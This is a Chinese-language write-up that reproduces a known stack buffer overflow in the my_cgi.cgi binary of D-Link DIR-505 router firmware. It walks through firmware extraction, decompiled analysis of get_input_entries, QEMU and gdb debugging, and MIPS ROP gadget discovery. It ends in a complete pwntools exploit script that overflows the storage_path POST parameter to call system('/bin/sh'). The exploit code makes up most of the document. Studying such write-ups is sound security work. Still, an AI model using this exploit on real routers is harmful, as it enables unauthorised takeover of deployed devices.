漏洞介绍

https://www.exploit-db.com/exploits/34064

根据漏洞报告漏洞存在于/usr/bin/my_cgi.cgi中,POST请求方法中的请求体参数溢出导致的。

image-20241009193955217

前置步骤

固件下载

https://files.dlink.com.au/products/DIR-505/REV_A/Firmware/v1.06b05/DIR505A1_FW106B05.bin

固件提取

提取固件中的文件系统

1
binwalk -Me DIR505A1_FW106B05.bin

漏洞分析

查看漏洞程序文件格式

1
readelf -h ./usr/bin/my_cgi.cgi

image-20241009194122408

mips架构的大端

代码分析

漏洞程序是my_cgi.cgi,其中导致溢出的参数是storage_path,在IDA中搜索字符串然后交叉引用向上寻找调用函数处。

image-20241009194423142

定位到了get_input_entries函数,再向上交叉引用找到如何才能触发漏洞导致溢出。

image-20241009194521177

此时在main函数当中v7是CONTENT_LENGTH,v41是初始化之后的缓冲区。猜测可能是因为CONTENT_LENGTH范围过大导致get_input_entries函数读取可以导致溢出。

gdb动态调试

选择利用qemu用户态进行模拟配合pwntools的gdb.attach进行调试

chroot .指定qemu模拟的根目录,这样才能正确寻找到lib库

1
2
3
4
5
6
p = process(f'chroot . ./qemu-mips-static -E SCRIPT_NAME=common -E CONTENT_LENGTH={i} -E CONTENT_TYPE=x-www-form-urlencoded -E REQUEST_METHOD=POST -E REQUEST_URI=/my_cgi.cgi -E REMOTE_ADDR=127.0.0.1 -g 1234 /usr/bin/my_cgi.cgi'.split( ))
gdb.attach(('127.0.0.1',1234),'''
set endian big
b *0x00409C58
sleep(2)
''',exe='./usr/bin/my_cgi.cgi')

这里注意这个程序是大端的,所以需要set endian big指定一下,不然attach调试会直接崩溃

get_input_entries代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
int __fastcall get_input_entries(int a1, int a2)
{
int v4; // $s2
int v5; // $s0
int v6; // $s1
char *IO_write_base; // $v1
char *v8; // $v0
char v9; // $v1
int (**v10)(FILE *); // $t9
int v11; // $s5
int v12; // $s1
int v13; // $s2
int v14; // $v0
int v15; // $a2
int v16; // $a1
char v18[1024]; // [sp+18h] [-400h] BYREF

v4 = 0;
v5 = 0;
v6 = 0;
while ( a2 > 0 )
{
if ( stdin->_fileno )
{
IO_write_base = stdin->_IO_write_base;
v8 = IO_write_base + 1;
if ( IO_write_base < stdin->_IO_write_end )
{
v9 = *IO_write_base;
stdin->_IO_write_base = v8;
goto LABEL_8;
}
v10 = (int (**)(FILE *))&_fgetc_unlocked;
}
else
{
v10 = &fgetc;
}
v9 = ((int (*)(void))v10)();
LABEL_8:
if ( v9 == 61 )
{
v5 = 0;
v6 = 1;
}
else if ( v9 == 38 )
{
++v4;
v5 = 0;
v6 = 0;
}
else
{
if ( v6 )
{
v6 = 1;
*(_BYTE *)(a1 + 1061 * v4 + v5 + 36) = v9;
}
else
{
*(_BYTE *)(a1 + 1061 * v4 + v5) = v9;
}
++v5;
}
--a2;
}
v11 = v4 + 1;
v12 = a1;
v13 = 0;
do
{
if ( strcmp((const char *)v12, "storage_path") )
{
v14 = strcmp((const char *)v12, "path");
v15 = 1024;
v16 = 0;
if ( !v14 )
{
memset(v18, 0, sizeof(v18));
decode(v12 + 36, v18);
strcpy((char *)(v12 + 36), v18);
}
replace_special_char(v12 + 36, v16, v15);
}
++v13;
v12 += 1061;
}
while ( v13 < v11 );
return v11;
}

调试指定好环境变量能让main函数走到get_input_entries函数中,参数a1是缓冲区,参数a2是环境变量CONTENT_LENGTH的大小。

这个函数会读取输入,读取的大小就是CONTENT_LENGTH的大小,然后将输入的数据和storage_path字符串进行对比,如果相等函数则会直接返回到main函数中。

如果发送http数据包时让CONTENT_LENGTH的大小超过缓冲区的范围就会导致溢出,则可以控制程序流程。

gdb调试确定一下偏移为0x74918

寻找gadget

利用mipsrop寻找gadget

1
2
3
import mipsrop
mipsrop = mipsrop.MIPSROPFinder()
mipsrop.stackfinders()
1
2
3
4
5
6
7
8
9
10
11
# .text:0041E870 27 B2 00 78                   addiu   $s2, $sp, 0x98+var_20
# .text:0041E874 02 00 C8 21 move $t9, $s0
# .text:0041E878 03 20 F8 09 jalr $t9 ; sub_414218
# .text:0041E87C 02 40 20 21 move $a0, $s2

# LOAD:000149AC 27 B5 00 10 addiu $s5, $sp, 0x14C+var_13C
# LOAD:000149B0 02 60 28 21 move $a1, $s3
# LOAD:000149B4 02 20 30 21 move $a2, $s1
# LOAD:000149B8 02 00 C8 21 move $t9, $s0
# LOAD:000149BC 03 20 F8 09 jalr $t9 ; mempcpy
# LOAD:000149C0 02 A0 20 21 move $a0, $s5

构造ROP触发system(‘/bin/sh’)即可。

第二处溢出

当字符串比较没有storage_path时,会调用执行replace_special_char函数,当此函数返回时如果缓冲区溢出就会触发栈溢出漏洞。

计算出偏移,只需要684偏移量即可劫持返回地址。同样构造ROP即可触发system(‘/bin/sh’)。

EXP利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *
from pwn import u64,u32,p64,p32
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='mips', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 1
if debug:
# i = 711
i = 477608
p = process(f'chroot . ./qemu-mips-static -E SCRIPT_NAME=common -E CONTENT_LENGTH={i} -E CONTENT_TYPE=x-www-form-urlencoded -E REQUEST_METHOD=POST -E REQUEST_URI=/my_cgi.cgi -E REMOTE_ADDR=127.0.0.1 -g 1234 /usr/bin/my_cgi.cgi'.split( ))
gdb.attach(('127.0.0.1',1234),'''
set endian big
b *0x00409C58
sleep(2)
''',exe='./usr/bin/my_cgi.cgi')
elf = ELF('./usr/bin/my_cgi.cgi')
else:
p = remote('127.0.0.1', 10001)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
context.endian="big"
libc = ELF('./lib/libuClibc-0.9.30.so')
libc_base = 0x3fef8080 - 0x26080
lg('libc_base', libc_base)
system = libc_base + 0x4BC80
lg('system', system)
# .text:00406FE8 8F BF 02 A4 lw $ra, 0x280+var_s24($sp)
# .text:00406FEC 8F BE 02 A0 lw $fp, 0x280+var_s20($sp)
# .text:00406FF0 8F B7 02 9C lw $s7, 0x280+var_s1C($sp)
# .text:00406FF4 8F B6 02 98 lw $s6, 0x280+var_s18($sp)
# .text:00406FF8 8F B5 02 94 lw $s5, 0x280+var_s14($sp)
# .text:00406FFC 8F B4 02 90 lw $s4, 0x280+var_s10($sp)
# .text:00407000 8F B3 02 8C lw $s3, 0x280+var_sC($sp)
# .text:00407004 8F B2 02 88 lw $s2, 0x280+var_s8($sp)
# .text:00407008 8F B1 02 84 lw $s1, 0x280+var_s4($sp)
# .text:0040700C 8F B0 02 80 lw $s0, 0x280+var_s0($sp)
# .text:00407010 03 E0 00 08 jr $ra

# .text:0041E870 27 B2 00 78 addiu $s2, $sp, 0x98+var_20
# .text:0041E874 02 00 C8 21 move $t9, $s0
# .text:0041E878 03 20 F8 09 jalr $t9 ; sub_414218
# .text:0041E87C 02 40 20 21 move $a0, $s2

# LOAD:000149AC 27 B5 00 10 addiu $s5, $sp, 0x14C+var_13C
# LOAD:000149B0 02 60 28 21 move $a1, $s3
# LOAD:000149B4 02 20 30 21 move $a2, $s1
# LOAD:000149B8 02 00 C8 21 move $t9, $s0
# LOAD:000149BC 03 20 F8 09 jalr $t9 ; mempcpy
# LOAD:000149C0 02 A0 20 21 move $a0, $s5

# puts_plt = 0x42aa9c
# puts_got = 0x447fa8

# padding = p32(system)
# padding += b'AAAA'
# padding += b'AAAA'
# padding += b'AAAA'
# padding += b'AAAA'
# padding += b'AAAA'
# padding += b'AAAA'
# padding += b'AAAA'
# padding += b'AAAA'
# padding += p32(libc_base+0x000149AC) + b'A'*0x10 + b'/bin/sh'

# payload = b'path' + b'A'*(680-36) + padding
# print(len(payload))

# sl(payload)
payload = b'storage_path=' + b'A'*(0x7490A-36) + b'A'*14
padding = p32(system)
padding += b'AAAA'
padding += b'AAAA'
padding += b'AAAA'
padding += b'AAAA'
padding += b'AAAA'
padding += b'AAAA'
padding += b'AAAA'
padding += b'AAAA'
padding += p32(0x0041E870) + b'a'*0x78 + b'/bin/sh'

payload = payload + padding
print(len(payload))
sl(payload)

inter()

image-20241009194745919